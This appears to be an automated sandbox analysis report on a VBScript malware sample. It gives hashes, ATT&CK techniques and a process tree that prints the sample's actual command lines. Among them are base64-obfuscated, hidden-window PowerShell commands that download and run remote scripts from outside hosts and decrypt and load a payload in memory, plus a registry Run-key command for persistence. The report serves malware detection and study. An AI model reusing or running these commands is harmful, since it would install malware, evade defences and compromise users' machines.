b6a92aac9266f84cded9a49758a8f40221c9d6f424dd6408c83e7d44d548f4ae

General

Target

4.vbs
Size

272KB
MD5

46cb37a9ab59dfa43f3e4412c9482837
SHA1

4409a0080e076e663e8da28a02c1e3ced1f39ba9
SHA256

b6a92aac9266f84cded9a49758a8f40221c9d6f424dd6408c83e7d44d548f4ae
SHA512

7e186b8b077d9ad0f71dad3663d0c5ad283da8e7b242b53f482e2a54b3a32ef0a9c12a599baaf514a4231cb9dbf800f956066ecd0a563361ad2e1af461526219
SSDEEP

6144:xwP7sgNytypIj9WuIUaZ8z7zC2rPKwBEf+2y/twjgqM5NAq:y7syytHs3UoK2wB++2yu4

Score

8^/10

discovery execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1376	powershell.exe
2872	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\dwm = "C:\\Users\\Admin\\dwm.bat"	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2872	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1376	powershell.exe
2872	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1376	powershell.exe
Token: SeDebugPrivilege	2872	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1832 wrote to memory of 2016	1832	WScript.exe	31
PID 1832 wrote to memory of 2016	1832	WScript.exe	31
PID 1832 wrote to memory of 2016	1832	WScript.exe	31
PID 2016 wrote to memory of 2140	2016	cmd.exe	33
PID 2016 wrote to memory of 2140	2016	cmd.exe	33
PID 2016 wrote to memory of 2140	2016	cmd.exe	33
PID 2140 wrote to memory of 1376	2140	cmd.exe	35
PID 2140 wrote to memory of 1376	2140	cmd.exe	35
PID 2140 wrote to memory of 1376	2140	cmd.exe	35
PID 2140 wrote to memory of 2900	2140	cmd.exe	36
PID 2140 wrote to memory of 2900	2140	cmd.exe	36
PID 2140 wrote to memory of 2900	2140	cmd.exe	36
PID 2140 wrote to memory of 2872	2140	cmd.exe	37
PID 2140 wrote to memory of 2872	2140	cmd.exe	37
PID 2140 wrote to memory of 2872	2140	cmd.exe	37
PID 2140 wrote to memory of 2872	2140	cmd.exe	37

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\4.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1832
- C:\Windows\System32\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\c.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2016
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\c.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2140
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -noprofile -windowStyle Hidden -ep bypass -command "Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aWV4IChJbnZva2UtV2ViUmVxdWVzdCAtVXJpICJodHRwczovLzB4MC5zdC84WDVULnBzMSIp')))"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1376
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "dwm" /t REG_SZ /d "C:\Users\Admin\dwm.bat" /f
      4⤵
      Adds Run key to start application
      PID:2900
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hiDDen -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChbVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtDb252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ2FXVjRJQ2hKYm5admEyVXRWMlZpVW1WeGRXVnpkQ0F0VlhKcElDSm9kSFJ3T2k4dk1UVTJMakkxTXk0eU5UQXVOakk2TlRBd01DOWtiM2R1Ykc5aFpDOUhaVzVsY21GMFpXUlRZM0pwY0hRdWNITXhJaWs9JykpKTtlbXB0eXNlcnZpY2VzIC1ldHc7U3RhcnQtU2xlZXAgLVNlY29uZHMgMTA7ZnVuY3Rpb24gbW9jcW5xaWtkZXZ3bm94amp1Z29seHh1YnJwaG5pcWZtaHpkeXNvZigkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1U2a0N0bnR6QTB2ZkwxQmhkZ2lHNWZTb1NjckcxQmVuMXhIOVlYeUExbkk9Jyk7CSRhZXNfdmFyLklWPVtTeXN0ZW0uQ29udmVydF06OignZ25pcnRTNDZlc2FCbW9yRidbLTEuLi0xNl0gLWpvaW4gJycpKCd3S0hDbDVKSWZtWFVxdmRmNG8zRXZ3PT0nKTsJJGRlY3J5cHRvcl92YXI9JGFlc192YXIuQ3JlYXRlRGVjcnlwdG9yKCk7CSRyZXR1cm5fdmFyPSRkZWNyeXB0b3JfdmFyLlRyYW5zZm9ybUZpbmFsQmxvY2soJHBhcmFtX3ZhciwgMCwgJHBhcmFtX3Zhci5MZW5ndGgpOwkkZGVjcnlwdG9yX3Zhci5EaXNwb3NlKCk7CSRhZXNfdmFyLkRpc3Bvc2UoKTsJJHJldHVybl92YXI7fWZ1bmN0aW9uIGVuYWN5ZGd0Z2tmdmp5bW9xaXB3YWJ4dW9wamZvdGtyZ2FqeXd2dnkoJHBhcmFtX3Zhcil7CUlFWCAnJGt3YWRkdndvdmtucWNzZmRwZ29qdGFmbXo9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFBQUJCQkNDQ2VtQUFBQkJCQ0NDb3JBQUFCQkJDQ0N5U0FBQUJCQkNDQ3RyQUFBQkJCQ0NDZWFBQUFCQkJDQ0NtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FBQUJCQkNDQycsICcnKTsJSUVYICckbnBqb25zdm1ybGVhdHJ0dHZrZGd1cG52Zz1OZXctT2JqZWN0IFN5c3RlbS5JTy5BQUFCQkJDQ0NNQUFBQkJCQ0NDZUFBQUJCQkNDQ21BQUFCQkJDQ0NvQUFBQkJCQ0NDckFBQUJCQkNDQ3lBQUFCQkJDQ0NTQUFBQkJCQ0NDdEFBQUJCQkNDQ3JBQUFCQkJDQ0NlQUFBQkJCQ0NDYUFBQUJCQkNDQ21BQUFCQkJDQ0M7Jy5SZXBsYWNlKCdBQUFCQkJDQ0MnLCAnJyk7CUlFWCAnJGlxaG1lanJvZHBnbnpoc3JkbGdiZHdwdXA9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FBQUJCQkNDQ29tQUFBQkJCQ0NDcHJBQUFCQkJDQ0NlQUFBQkJCQ0NDc3NBQUFCQkJDQ0Npb0FBQUJCQkNDQ24uQUFBQkJCQ0NDR1pBQUFCQkJDQ0NpcEFBQUJCQkNDQ1N0QUFBQkJCQ0NDcmVBQUFCQkJDQ0NhbUFBQUJCQkNDQygka3dhZGR2d292a25xY3NmZHBnb2p0YWZteiwgW0lPLkNBQUFCQkJDQ0NvbUFBQUJCQkNDQ3ByQUFBQkJCQ0NDZXNBQUFCQkJDQ0NzaUFBQUJCQkNDQ29uQUFBQkJCQ0NDLkNvQUFBQkJCQ0NDbXBBQUFCQkJDQ0NyZUFBQUJCQkNDQ3NzQUFBQkJCQ0NDaUFBQUJCQkNDQ29BQUFCQkJDQ0NuQUFBQkJCQ0NDTW9kZV06OkRBQUFCQkJDQ0NlQUFBQkJCQ0NDY0FBQUJCQkNDQ29tcEFBQUJCQkNDQ3JlQUFBQkJCQ0NDc3MpOycuUmVwbGFjZSgnQUFBQkJCQ0NDJywgJycpOwkkaXFobWVqcm9kcGduemhzcmRsZ2Jkd3B1cC5Db3B5VG8oJG5wam9uc3ZtcmxlYXRydHR2a2RndXBudmcpOwkkaXFobWVqcm9kcGduemhzcmRsZ2Jkd3B1cC5EaXNwb3NlKCk7CSRrd2FkZHZ3b3ZrbnFjc2ZkcGdvanRhZm16LkRpc3Bvc2UoKTsJJG5wam9uc3ZtcmxlYXRydHR2a2RndXBudmcuRGlzcG9zZSgpOwkkbnBqb25zdm1ybGVhdHJ0dHZrZGd1cG52Zy5Ub0FycmF5KCk7fWZ1bmN0aW9uIGpiZm9hbHhsaHhndmFmbHJiamN3bnllaHV6dWhldG9xcW54KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewkJSUVYICckeXFiZ2V5Ym5pZmJvYW5ibW1wYm1ndmNrcHFlZ3VkbGJtd2Z0cGl6cj1bU3lzdGVtLlJBQUFCQkJDQ0NlQUFBQkJCQ0NDZmxBQUFCQkJDQ0NlY3RBQUFCQkJDQ0Npb0FBQUJCQkNDQ24uQUFBQkJCQ0NDQXNBQUFCQkJDQ0NzZUFBQUJCQkNDQ21iQUFBQkJCQ0NDbEFBQUJCQkNDQ3lBQUFCQkJDQ0NdOjpMQUFBQkJCQ0NDb0FBQUJCQkNDQ2FBQUFCQkJDQ0NkQUFBQkJCQ0NDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQUFCQkJDQ0MnLCAnJyk7CUlFWCAnJGV6cWJyZGR4Zm9xZ25pamRucXJvdXV0ZnRhY2RoaXdlcWppZ2VhdGxuZ2JnbWZuZW1jPSR5cWJnZXlibmlmYm9hbmJtbXBibWd2Y2twcWVndWRsYm13ZnRwaXpyLkFBQUJCQkNDQ0VBQUFCQkJDQ0NuQUFBQkJCQ0NDdEFBQUJCQkNDQ3JBQUFCQkJDQ0N5QUFBQkJCQ0NDUEFBQUJCQkNDQ29BQUFCQkJDQ0NpQUFBQkJCQ0NDbkFBQUJCQkNDQ3RBQUFCQkJDQ0M7Jy5SZXBsYWNlKCdBQUFCQkJDQ0MnLCAnJyk7CUlFWCAnJGV6cWJyZGR4Zm9xZ25pamRucXJvdXV0ZnRhY2RoaXdlcWppZ2VhdGxuZ2JnbWZuZW1jLkFBQUJCQkNDQ0lBQUFCQkJDQ0NuQUFBQkJCQ0NDdkFBQUJCQkNDQ29BQUFCQkJDQ0NrQUFBQkJCQ0NDZUFBQUJCQkNDQygkbnVsbCwgJHBhcmFtMl92YXIpOycuUmVwbGFjZSgnQUFBQkJCQ0NDJywgJycpO30kc3pxaW1zY3lob2dsbWtvdGxxdXNpdGZvdSA9ICRlbnY6VVNFUk5BTUU7JGh0Z3h1YXJtdGtibGN2ZnpxaXp0dmRidnIgPSAnQzpcVXNlcnNcJyArICRzenFpbXNjeWhvZ2xta290bHF1c2l0Zm91ICsgJ0FBQUJCQkNDQ1xBQUFCQkJDQ0NkQUFBQkJCQ0NDd0FBQUJCQkNDQ21BQUFCQkJDQ0MuQUFBQkJCQ0NDYkFBQUJCQkNDQ2FBQUFCQkJDQ0N0QUFBQkJCQ0NDJy5SZXBsYWNlKCdBQUFCQkJDQ0MnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkaHRneHVhcm10a2JsY3ZmenFpenR2ZGJ2cjskZ2NodGs9W1N5c3RlbS5JTy5GaWxlXTo6KCd0eGVUbGxBZGFlUidbLTEuLi0xMV0gLWpvaW4gJycpKCRodGd4dWFybXRrYmxjdmZ6cWl6dHZkYnZyKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkeGt0IGluICRnY2h0aykgewlpZiAoJHhrdC5TdGFydHNXaXRoKCc6OicpKQl7CQkkZXJrZm89JHhrdC5TdWJzdHJpbmcoMik7CQlicmVhazsJfX0kc255cmdodnF0dWJrbmFlaHRreXJodGh0Z2JuZ2FodXFybnk9W3N0cmluZ1tdXSRlcmtmby5TcGxpdCgnXCcpO0lFWCAnJHR6ZGZmZ21memFjdHpua3pneGF2emZma2Z1b3BtemtzYWNrPWVuYWN5ZGd0Z2tmdmp5bW9xaXB3YWJ4dW9wamZvdGtyZ2FqeXd2dnkgKG1vY3FucWlrZGV2d25veGpqdWdvbHh4dWJycGhuaXFmbWh6ZHlzb2YgKFtBQUFCQkJDQ0NDQUFBQkJCQ0NDb0FBQUJCQkNDQ25BQUFCQkJDQ0N2QUFBQkJCQ0NDZUFBQUJCQkNDQ3J0XTo6QUFBQkJCQ0NDRkFBQUJCQkNDQ3JBQUFCQkJDQ0NvQUFBQkJCQ0NDbUFBQUJCQkNDQ0JBQUFCQkJDQ0NhQUFBQkJCQ0NDc2U2QUFBQkJCQ0NDNEFBQUJCQkNDQ1NBQUFCQkJDQ0N0QUFBQkJCQ0NDcmlBQUFCQkJDQ0NuQUFBQkJCQ0NDZ0FBQUJCQkNDQygkc255cmdodnF0dWJrbmFlaHRreXJodGh0Z2JuZ2FodXFybnlbMF0pKSk7Jy5SZXBsYWNlKCdBQUFCQkJDQ0MnLCAnJyk7SUVYICckaXFlc2x2bmh0ZGhuc3BobnRycnpvdXNhbHJ3dGFwa3R4Y2M9ZW5hY3lkZ3Rna2Z2anltb3FpcHdhYnh1b3BqZm90a3JnYWp5d3Z2eSAobW9jcW5xaWtkZXZ3bm94amp1Z29seHh1YnJwaG5pcWZtaHpkeXNvZiAoW0FBQUJCQkNDQ0NBQUFCQkJDQ0NvQUFBQkJCQ0NDbkFBQUJCQkNDQ3ZBQUFCQkJDQ0NlQUFBQkJCQ0NDckFBQUJCQkNDQ3RdOjpBQUFCQkJDQ0NGQUFBQkJCQ0NDckFBQUJCQkNDQ29BQUFCQkJDQ0NtQUFBQkJCQ0NDQkFBQUJCQkNDQ2FBQUFCQkJDQ0NzQUFBQkJCQ0NDZUFBQUJCQkNDQzZBQUFCQkJDQ0M0QUFBQkJCQ0NDU0FBQUJCQkNDQ3RyQUFBQkJCQ0NDaUFBQUJCQkNDQ25BQUFCQkJDQ0NnKCRzbnlyZ2h2cXR1YmtuYWVodGt5cmh0aHRnYm5nYWh1cXJueVsxXSkpKTsnLlJlcGxhY2UoJ0FBQUJCQkNDQycsICcnKTtqYmZvYWx4bGh4Z3ZhZmxyYmpjd255ZWh1enVoZXRvcXFueCAkdHpkZmZnbWZ6YWN0em5remd4YXZ6ZmZrZnVvcG16a3NhY2sgJG51bGw7amJmb2FseGxoeGd2YWZscmJqY3dueWVodXp1aGV0b3FxbnggJGlxZXNsdm5odGRobnNwaG50cnJ6b3VzYWxyd3RhcGt0eGNjICgsW3N0cmluZ1tdXSAoJyVBQUFCQkJDQ0MnKSk7')) | Invoke-Expression"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: CmdExeWriteProcessMemorySpam
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2872

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\c.bat

Filesize
264KB

MD5
48ef1bec452f6cbb0c43cad8e15c822d

SHA1
7709389fe88ac8498d6121367ef2ede187c6f2e2

SHA256
b34c6ad373f346592e7a941cb11d8bd099df64d4fbb646f90d0aed9411804fe1

SHA512
ed8f0b833aab924c1dfe02ca36ce57ec2ecc4ab17a93d3c0cb9a5597c444b743378be63c725574bf40157b04834ed95c5763bae22bc7bc5097ad6c5007b5c589

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\25R8IBNPITUYZC31L5IC.temp

Filesize
7KB

MD5
a5e275c23ad15c25e7917e6249c046eb

SHA1
21a216ef13fdba819a950d05b44d573c0f9b22ba

SHA256
d2981302b06371fd9520321258df5c68977a675920549fa69581807140ea3ad7

SHA512
8cab866ea56688e4d8f764a99fd8884b56941918057a0db78463d7e34000eaa47227d5a917abb90921d5c3b36fd878122a5d22c49eb4cae4a2697e092841505d

Download Submit
memory/1376-13-0x000007FEF63DE000-0x000007FEF63DF000-memory.dmp

Filesize
4KB

Download
memory/1376-14-0x000007FEF6120000-0x000007FEF6ABD000-memory.dmp

Filesize
9.6MB

Download
memory/1376-15-0x000007FEF6120000-0x000007FEF6ABD000-memory.dmp

Filesize
9.6MB

Download
memory/1376-16-0x000000001B150000-0x000000001B432000-memory.dmp

Filesize
2.9MB

Download
memory/1376-17-0x000007FEF6120000-0x000007FEF6ABD000-memory.dmp

Filesize
9.6MB

Download
memory/1376-18-0x0000000002360000-0x0000000002368000-memory.dmp

Filesize
32KB

Download
memory/1376-19-0x000007FEF6120000-0x000007FEF6ABD000-memory.dmp

Filesize
9.6MB

Download
memory/1376-20-0x000007FEF6120000-0x000007FEF6ABD000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads